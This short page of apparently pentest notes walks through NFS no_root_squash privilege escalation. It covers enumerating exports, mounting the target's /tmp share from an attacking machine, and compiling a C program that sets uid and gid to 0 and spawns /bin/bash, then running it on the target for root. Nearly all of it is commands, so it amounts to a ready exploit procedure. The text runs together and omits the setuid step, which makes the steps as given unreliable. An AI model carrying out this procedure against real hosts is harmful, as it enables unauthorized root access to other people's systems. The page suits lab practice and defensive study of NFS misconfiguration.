NFS Root Squashing
Enumeration
cat /etc/exportsin our example the "no root squash is defined for the tmp export. The folder is sharable and can be mounted
Exploitation
In our attacking machine
showmount -e IP-OF-TARGETlist the mountable folder of our target
mkdir /tmp/1mount -o rw,vers=2 10.10.32.193:/tmp /tmp/1we mount our folderecho 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.cgcc /tmp/1/x.c -o /tmp/1/x
In our target
/tmp/xwe can execute our binaryWe should be root!

Last updated